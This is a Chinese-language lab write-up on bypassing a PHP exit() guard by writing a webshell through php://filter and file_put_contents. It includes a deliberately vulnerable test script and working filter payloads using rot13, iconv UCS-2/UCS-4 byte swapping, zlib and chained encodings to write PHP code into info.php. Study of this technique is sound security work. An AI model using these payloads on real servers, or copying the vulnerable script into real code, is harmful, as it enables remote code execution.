这几日在学习文件包含漏洞时碰到了一道绕过死亡exit();的题目,借此机会就学一学file_put_contents写入webshell
关于filter的知识:
php:
// — 访问各个输入/输出流(I/O streams)php://input 是个可以访问请求的原始数据的只读流。
php:
//filter 是一种设计用来允许过滤器程序在打开时成为流的封装协议。这对于单独具有完整功能的文件函数非常有用,否则就没有机会在读取内容之前将过滤器应用于流之上。
该协议语法为:php:
//filter:/<action>=<name>
比如 php:
//filter:/resource=http://www.baidu.com
参数 | 功能 |
read | 读取 |
write | 写入 |
resource | 数据来源 |
string.strip_tags: 将数据流中的所有html标签清除
string.toupper: 将数据流中的内容转换为大写
string.tolower: 将数据流中的内容转换为小写
在本地搭好环境
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['content'])) {
$content = $_GET['content'];
if(file_exists($content))
require_once($content);
file_put_contents($content,$content);
}
这里我没有过滤任何过滤器主要是为了方便测试
无任何编码写入
payload:php://filter/write=<?php phpinfo();?>/resource=info.php
查看文件目录,成功写入
查看文件,成功实现
Rot13
ROT13(回转13位,rotate by 13 places,有时中间加了个连字符称作ROT-13)是一种简易的替换式密码。Rot13是一种非常简单的替换加密算法,只能加密26个英语字母。
这里我们现需要关闭短标签服务才能使用,因为如果开启了短标签,我们是无法成功写入shell的
payload:php://filter/write=string.rot13|<?cuc cucvasb();?>|/resource=info.php
iconv字符编码转换
头文件"iconv.h"。iconv命令可以将一种已知的字符集文件转换成另一种已知的字符集文件。
它的作用是在多种国际编码格式之间进行文本内码的转换。
支持的内码包括:Unicode相关编码,如UTF-8、UTF-16、UCS-2、UCS-4编码方式等等,各国采用的ANSI编码,其中包括GB2312、BIG5等中文编码方式。
这里我们列举UCS-2、UCS-4编码方式
<?php
echo iconv("UCS-2LE","UCS-2BE",'12345678');
echo iconv("UCS-4LE","UCS-4BE",'12345678');
?>
21436587
43218765
通过UCS-2或者UCS-4的方式,目标字符串会进行2或4位一反转
在使用相应的编码方式时,要使用相应的倍数,不然不能进行反转
UCS-2
payload:php://filter//convert.iconv.UCS-2LE.UCS-2BE|?<hp phpipfn(o;)>?/resource=info.php
UCS-4
这里我们需要将shell补齐为4的倍数
payload:php://filter//convert.iconv.UCS-4LE.UCS-4BE|?<ah phpiphp(ofn>?;)/resource=info.php
zlib
可以利⽤ zlib 的 zlib.deflate 和 zlib.inflate 来做
payload:php://filter/zlib.deflate|zlib.inflate|<?phpinfo();?>/resource=info.php
混合双打
我们可以利用多种编码方式混合写入shell,可用方法很多,这里就用UCS-2和rot13举一个例子吧
payload:php://filter/write=convert.iconv.UCS-2LE.UCS-2BE|string.rot13|?<uc cucvcsa(b;)>?/resource=info.php